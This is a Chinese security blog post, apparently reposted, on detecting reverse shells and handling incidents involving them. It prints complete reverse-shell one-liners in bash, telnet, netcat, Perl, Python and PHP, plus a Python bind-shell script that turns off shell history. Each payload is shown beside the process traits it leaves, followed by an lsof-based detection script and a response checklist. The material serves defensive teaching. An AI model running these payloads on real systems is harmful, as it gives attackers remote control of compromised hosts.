反弹shell的检测与应急流程

admin 2025年2月15日09:23:49评论32 views字数 3975阅读13分15秒阅读模式

反弹shell简介

当黑客拿到一台服务器的权限时候,往往会因为服务器没有公网IP/防火墙限制等原因没有办法正向的方式进行连接,如SSH等,那么就需要让被入侵的服务器主动将shell送到控制端来进行接管,所以叫反弹shell。

我所理解的反弹shell,是外部人员通过web或者软件的漏洞,建立了一个数据流通向网络外部的shell执行环境。大部分的公司网络都会限制外部服务器连接公司内部的服务器,但是不会限制内部服务器主动外联,这就是反弹shell的利用场景。

反弹shell的检测与应急流程

常见的反弹shell

反弹shell的方式较多,且极为灵活,下面就来看看一些常见的反弹shell方式以及他们的一些特征

1.bash反弹

方式

Bash反弹,远程主机监听端口:nc -lvp 7777被入侵的机器反弹shell命令如下:bash -i >& /dev/tcp/192.168.7.61/77770>&1

特征

目标机执行后的结果如下:

创建了一个常住进程“bash -i”, 它的得0和1文件描述符都指向socket。

反弹shell的检测与应急流程

随便说一下,上面bash -i >& /dev/tcp/192.168.7.61/7777 0>&1语句的含义,

首先我们知道当Linux启动的时候会默认打开三个文件描述符,分别是:

标准输入standard input 0 (默认设备键盘)

标准输出standard output 1(默认设备显示器)

错误输出:error output 2(默认设备显示器)

反弹shell的检测与应急流程

所以上面语句的含义如下:

bash -i:启动交互式bash进程

& /dev/tcp/ip/port:将stdout/stderr重定向到与ip:port的tcp套接字中

0>&1:将stdin重定向到stdout中(此时stdout是重定向到套接字的,也就是说stdin也将从套接字中读取)

2. telnet反弹

方式

远程主机监听端口:nc -lvvp 4444nc -lvvp 5555被入侵的机器反弹shell命令如下:telnet 192.168.7.614444 | /bin/bash | telnet 192.168.7.615555

特征

创建了bash进程,0和1描述符都指向了pipe,这两个pipe关联到两个telnet进程上。两个telent创建了socket外联。

反弹shell的检测与应急流程

3.nc(netcat)反弹

反弹方式

远程主机监听端口:nc -lvvp 4444 被入侵的机器反弹shell命令如下:rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.61 4444 >/tmp/f

特征

目标机执行后的结果如下:

创建了bash进程,0和1描述符都指向了pipe,这两个pipe关联到文件和nc上。

反弹shell的检测与应急流程

4.perl反弹

反弹方式

远程主机监听端口:nc -lvvp 4444被入侵的机器反弹shell命令如下:perl -e 'use Socket;$i="127.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

特征

目标机执行后的结果如下:

创建了dash进程,0和1描述符都指向了socket。

反弹shell的检测与应急流程

5.python反弹

反弹方式

远程主机监听端口:nc -lvvp 4444被入侵的机器反弹shell命令如下:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

特征

目标机执行后的结果如下:

创建了bash进程,0和1描述符都指向了socket。

反弹shell的检测与应急流程

6.php反弹

反弹方式

远程主机监听端口:nc -lvvp 4444被入侵的机器反弹shell命令如下:php -r '$sock=fsockopen("192.168.7.61",4444);exec("/bin/bash -i <&3 >&3 2>&3");'

特征

目标机执行后的结果如下:

创建了bash和dash进程,0和1描述符都指向了socket。

反弹shell的检测与应急流程

7.受害机主动监听

反弹方式

被入侵监听端口:#!/usr/bin/python2"""Python Bind TCP PTY Shell - testing versioninfodox - insecurety.net (2013)Binds a PTY to a TCP port on the host it is ran on."""import osimport ptyimport socketlport = 31337 # XXX: CHANGEMEdef main():    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    s.bind(('0.0.0.0', lport))    s.listen(1)    (rem, addr) = s.accept()    os.dup2(rem.fileno(),0)    os.dup2(rem.fileno(),1)    os.dup2(rem.fileno(),2)    os.putenv("HISTFILE",'/dev/null')    pty.spawn("/bin/bash")    s.close()if __name__ == "__main__":    main()黑客主机机器主动连接如下:telnet 192.168.7.631337

特征

接受连接后:

进程python的0和1变成socket:

Bash进程3和4是socket。

反弹shell检测方式

上面总结了一些常见的反弹shell利用方式以及在主机层特征,那么可以总结出其共同的特征如下:

具备执行环境的文件的0和1文件描述符关联到了socket或者pipe。

那么根据这些特征我们就可以得到反弹shell的简单检测方式:

归纳起来,就是具备执行环境的文件如果0和1文件描述符都关联到socket或者pipe,就认为它是反弹shell。

该方式需要在主机上实时的获取进程的相关信息。

该检测方式的优点:实现简单

缺点

存在绕过的风险:仅能通过进程执行文件名判断是否为Shell进程,上传可执行文件、拷贝Bash文件到其他路径等方法会绕过这个方法。严格限制上传文件目录的执行权限、Bash文件权限可以有效限制这个风险。

同时我们也可以根据lsof命令来简单的模拟反弹shell的检测,下面给出一个简单的脚本文件

# coding:utf-8import oslsof_all=os.popen('lsof').readlines()#print lsoflsof = [x.split() for x in lsof_all if x]#print lsoffor detail in lsof:    command = detail[0]    pid = detail[1]    user = detail[2]    fd = detail[3]    node = detail[-2]    filename = detail[-1]if fd in ['0u','0r','0w']:if filename in ['(ESTABLISHED)','pipe']:if command in ['bash','python','perl','dash','sh','php','Bash']:print"find reversed shelln"print"        pid:%s" % pid

反弹shell应急响应

上面说了反弹shell的检测方式,接下来看看出现反弹shell时如何进行快速应急响应。

反弹shell的检测与应急流程

确认反弹shell告警的真实性

应急的第一步就是判断反弹shell告警是否是误报。可以从反弹shell的反连地址做一个简单的判断,如果反连地址是不是公司的白名单或者有业务往来的地址,那么大概率该条告警是真实的。

确认入侵点

攻击者能够执行反弹shell操作,说明已经了系统的权限或者系统中存在RCE漏洞,我们需要找点该风险点,防止下次入侵。

能够获取RCE的一些方式

1)通过web漏洞入侵,如web中存在任意命令执行,任意文件上传,文件包含等漏洞

2)系统应用入侵,如ssh弱密码,应用缓存区溢出等

3)通过数据库入侵,如redis未授权写入文件,

等等

当出现反弹shell的告警下,我们可以获取到下面的信息

1)时间

2)反弹地址

3)进程信息

反弹shell的检测与应急流程

排查思路

确认入侵时间以及上传文件内容

通过反弹shell告警的时间,判断攻击者实施攻击的时间范围,以便后续依据此时间进行溯源分析、追踪攻击者的活动路径。

日志分析

对访问网站的Web日志和系统日志进行分析,重点关注已知的入侵时间前后的日志记录,从而寻找攻击者的攻击路径,以及所利用的漏洞。

找到漏洞点

通过日志中发现的问题,针对攻击者活动路径,可排查网站中存在的漏洞,并进行分析。

漏洞复现

对已发现的漏洞进行漏洞复现,从而还原攻击者的活动路径。

总结

本文简单的说了一下常见的反弹shell的检测方式以及遇到反弹shell时应该如何处置,在实际情况中可能还会遇到不满意上述条件的情况,需要根据实际情况灵活应对。各位大佬如果有好的想法也欢迎交流。

原文始发于微信公众号(信安路漫漫):反弹shell的检测与应急流程

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月15日09:23:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   反弹shell的检测与应急流程http://cn-sec.com/archives/3744024.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息